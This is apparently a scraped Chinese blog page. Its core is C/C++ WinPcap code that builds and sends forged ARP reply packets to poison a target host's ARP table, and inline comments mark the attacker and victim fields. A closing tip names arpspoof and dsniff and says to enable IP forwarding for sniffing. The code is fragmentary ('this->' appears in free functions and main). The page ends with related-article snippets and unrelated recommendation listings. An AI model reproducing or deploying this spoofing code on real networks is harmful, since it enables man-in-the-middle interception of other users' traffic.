ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗。解决办法详见百科

#define ETHER_ADDR_LEN 6
typedef struct
{
u_char DestMAC[ETHER_ADDR_LEN]; //目的MAC地址 6字节
u_char SourMAC[ETHER_ADDR_LEN]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
}EthernetHeader; // 28 bytes ARP request/reply
typedef struct
{
u_short HardwareType; //硬件类型,2字节,定义运行ARP的网络的类型,以太网是类型1
u_short ProtocolType; //协议类型,2字节,定义上层协议类型,对于IPV4协议,该字段值为0800
u_char HardwareAddLen; //硬件地址长度,8位字段,定义对应物理地址长度,以太网中这个值为6
u_char ProtocolAddLen; //协议地址长度,8位字段,定义以字节为单位的逻辑地址长度,对IPV4协议这个值为4
u_short OperationField; //操作字段,数据包类型,ARP请求(值为1),或者ARP应答(值为2)
u_char SourceMacAdd[6]; //源(发送端)mac地址,可变长度字段,对以太网这个字段是6字节长
u_char SourceIpAdd[4]; //源(发送短)ip地址,发送端协议地址,可变长度字段,对IP协议,这个字段是4字节长
u_char DestMacAdd[6]; //目的(接收端)mac地址
u_char DestIpAdd[4]; //目的(接收端)ip地址,注意不能为u_int型,结构体对其
}ArpHeader; //封装以太网头
void fillEthernetPacket(u_char *sourMAC, u_char *destMAC)
{
memset(&this->ethHdr, 0, sizeof(this->ethHdr));
memcpy(this->ethHdr.SourMAC, sourMAC, sizeof(this->ethHdr.SourMAC));
memcpy(this->ethHdr.DestMAC, destMAC, sizeof(this->ethHdr.DestMAC));
this->ethHdr.EthType = htons(ARP_TYPE);
} //封装ARP头
void fillArpPacket(u_char* srcMac,char *srcIp,u_char *destMac,char *destIp)
{
this->arpHdr.HardwareAddLen = 6;
this->arpHdr.ProtocolAddLen = 4; this->arpHdr.HardwareType = htons(ARP_HARDWARE);
this->arpHdr.ProtocolType = htons(IP_TYPE);
this->arpHdr.OperationField = htons(ARP_REPLY);
memcpy(this->arpHdr.SourceMacAdd, srcMac, sizeof(this->arpHdr.SourceMacAdd));
memcpy(this->arpHdr.DestMacAdd, destMac, sizeof(this->arpHdr.DestMacAdd));
u_long srcIpN = htonl(pcap.my_inet_addr(srcIp));
memcpy(this->arpHdr.SourceIpAdd, (u_char*)&srcIpN, sizeof(this->arpHdr.SourceIpAdd));
u_long destIpN = htonl(pcap.my_inet_addr(destIp));
memcpy(this->arpHdr.DestIpAdd, (u_char*)&destIpN, sizeof(this->arpHdr.DestIpAdd));
} //封装ARP包
void fillPacket()
{
memset(this->packet, 0, sizeof(this->packet)); // 填充以太网头,为广播方式
memcpy(this->packet, &this->ethHdr, ETHERNET_HEAD_LENGTH); // 填充arp头
memcpy(this->packet + ETHERNET_HEAD_LENGTH, &this->arpHdr, ARP_BODY_LENGTH);
} // 发送ARP欺骗包
void sendArpCheatPacket()
{
/* Send down the packet */
if (pcap_sendpacket(this->adhandle, // Adapter
packet, // buffer with the packet
ARP_PACKET_LENGTH // size
) != 0)
{
qDebug("\nError sending the packet: %s\n", pcap_geterr(this->adhandle));
return;
}
} int main()
{
/*
* hostInfo.mac:攻击者MAC
* cheatHostInfo.mac:攻击对象MAC
*/
fillEthernetPacket(this->hostInfo.mac, cheatHostInfo.mac); /*
* hostInfo.mac:攻击目标ARP表中,hostInfo.ip对应的mac替换为此mac地址
* hostInfo.ip:攻击目标ARP表中,被替换mac的ip地址
* cheatHostInfo.mac:攻击目标mac地址
* cheatHostInfo.ip:攻击目标ip地址
*/
fillArpPacket(this->hostInfo.mac, this->hostInfo.ip,
cheatHostInfo.mac, cheatHostInfo.ip); sendArpCheatPacket();
}

当攻击目标发送ARP请求的时候,ARP欺骗回应包就会更新其ARP表

相关工具包介绍

arpspoof:arp欺骗的工具

dsniff:网络嗅探工具包

注:需要打开IP转发

ARP攻击 winpcap的更多相关文章

  1. QT---基于WinPcap的局域网络管理工具(主机扫描、包过滤、ARP攻击、端口扫描)

    主要功能 本机适配器扫描 局域网各主机扫描 类似于WinShark的抓包工具,能够简单的过滤Tcp.Udp.Arp等包 ARP攻击功能,限制局域网内指定主机上网 流量统计,统计实时网速 多线程攻击,多 ...

  2. Arp攻击实战

    hyddd原创,转载请说明出处. 现在网上很多关于ARP攻击的文章,但多数是描述其原理,少数会以某个工具作为例子展开说明,但感觉说的还是不够详细,今天写个文章以实战介绍一个叫"WinArpA ...

  3. ARP防火墙绑定网关MAC地址预防ARP攻击和P2P终结者

    [故障原理]  要了解故障原理,我们先来了解一下ARP协议.  在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的.ARP协议对网络安全具有重要的意义.通过伪造IP地址和M ...

  4. kali linux下的arp攻击

    这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...

  5. 转载《遭受arp攻击怎么办》

    ARP(Address Resolution Protocol,地址解析协议)协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行.ARP攻击仅能在以太网(局 域网如: ...

  6. 记一次 Ubuntu 使用 arptables 抵御局域网 ARP 攻击

    . . . . . 前段时间大概有一个月左右,租房的网络每天都断一次,每次断大概一两分钟左右就恢复了,所以没太在意.直到有一天晚上,LZ 正在写博客,但是网络频繁中断又重新连上再中断.待 LZ 好不容 ...

  7. 关于ARP攻击的原理以及在Kali Linux环境下的实现

    关于ARP攻击的原理以及在Kali Linux环境下的实现 全文摘要 本文讲述内容分为两部分,前半部分讲述ARP协议及ARP攻击原理,后半部分讲述在Kali Linux环境下如何实现ARP攻击以及AR ...

  8. Windows 2008如何绑定MAC防范ARP攻击!

    Windows 2008如何绑定MAC防范ARP攻击!   阅读(1974)暂无评论时间:2010-11-23 22:52:13   在Windows server 2003时代,通过arp 这命令即 ...

  9. Kali实现局域网ARP欺骗和ARP攻击

    原文地址: http://netsecurity.51cto.com/art/201303/386031.htm http://xiao106347.blog.163.com/blog/static/ ...

随机推荐

  1. C# winfrom调用摄像头扫描二维码(完整版)

    前段时间看到一篇博客,是这个功能的,参考了那篇博客写了这个功能玩一玩,没有做商业用途.发现他的代码给的有些描述不清晰的,我就自己整理一下发出来记录一下. 参考博客链接:https://www.cnbl ...

  2. 踏实型的TOGAF企业架构学习者要学什么?

    下载:本文PDF版 昨天有帮友在IT帮大本营微信群了问到 我打开ea网站的常见问题,截图回复了一下 如果让我再简单说一下该学什么,我想用下面这张图来说明 实操型的看 企业架构,从理论到实践 认证型的看 ...

  3. FCC---Create a Graphic Using CSS---新月图形

    By manipulating different selectors and properties, you can make interesting shapes. One of the easi ...

  4. MySQL基础之常用函数

    数学函数的使用 常用数学函数 函数 作用 函数 作用 ceil() 进一取整 abs() 取绝对值 floor() 舍掉小数部分 power() 幂运算 round() 四舍五入 pi() 圆周率 t ...

  5. Horovod 分布式深度学习框架相关

    最近需要 Horovod 相关的知识,在这里记录一下,进行备忘: 分布式训练,分为数据并行和模型并行两种: 模型并行:分布式系统中的不同GPU负责网络模型的不同部分.神经网络模型的不同网络层被分配到不 ...

  6. Python语法速查: 1. 数据类型与内置函数

    返回目录 (1)常用内置数据类型 分类 类型名称 描述 数字 int 整数 float 浮点数 complex 复数 bool 布尔值 序列 str 字符串(不可变序列) list 列表 tuple ...

  7. Python 定时任务的实现方式

    本文转载自: https://lz5z.com/Python%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%96% ...

  8. TensorFlow从1到2(十一)变分自动编码器和图片自动生成

    基本概念 "变分自动编码器"(Variational Autoencoders,缩写:VAE)的概念来自Diederik P Kingma和Max Welling的论文<Au ...

  9. go语言设计模式之visitor

    这个确实没有调通,也要记录一下 visitor.go package visitor import ( "fmt" "io" "os" ) ...

  10. gcd套路变换

    gcd套路变换 GCD https://www.luogu.org/problem/P2568 给定整数N,求1<=x,y<=N且Gcd(x,y)为素数的数对(x,y)有多少对. $ 1& ...